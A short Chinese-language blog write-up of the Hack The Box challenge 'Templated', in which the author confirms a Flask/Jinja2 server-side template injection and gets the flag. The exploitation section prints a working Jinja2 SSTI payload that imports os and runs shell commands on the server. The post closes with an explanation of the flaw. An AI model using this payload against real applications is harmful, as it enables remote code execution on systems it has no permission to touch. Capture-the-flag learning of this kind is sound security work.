[Hack The Box] Templated – writeup

訪問網址


打開首頁看到Proudly powered by Flask/Jinja2,這邊判斷是和python Flask框架有關係

Google一下試試看SSTI漏洞,/{{6*6}}
中獎! 看來這題是要考SSTI(Server-Side Template Injection)漏洞的利用。

漏洞利用

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

 

 
 
成功在server side 執行命令,可以嘗試用各種命令試試看有沒有需要的檔案

成功取得flag.txt。

後記

為甚麼會有SSTI漏洞的產生,主要的原因是因為伺服器沒有過濾使用者所輸入的命令而是直接執行在server上,可能導致敏感信息洩露、代碼執行、GetShell等問題。關鍵是如何利用這個漏洞來執行我們要執行的代碼,所以我們尋找漏洞利用點。思考範圍是框架本身支持的語法、魔術常數、屬性和函數,以及純框架的全局變量、屬性和函數。然後我們考慮語言本身的特性。

參考文章

Jinja2 SSTI Research What Is A SSTI?

浅谈模板注入

一篇文章带你理解漏洞之 SSTI 漏洞

[Day13] – SSTI (Server-side template injection)

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *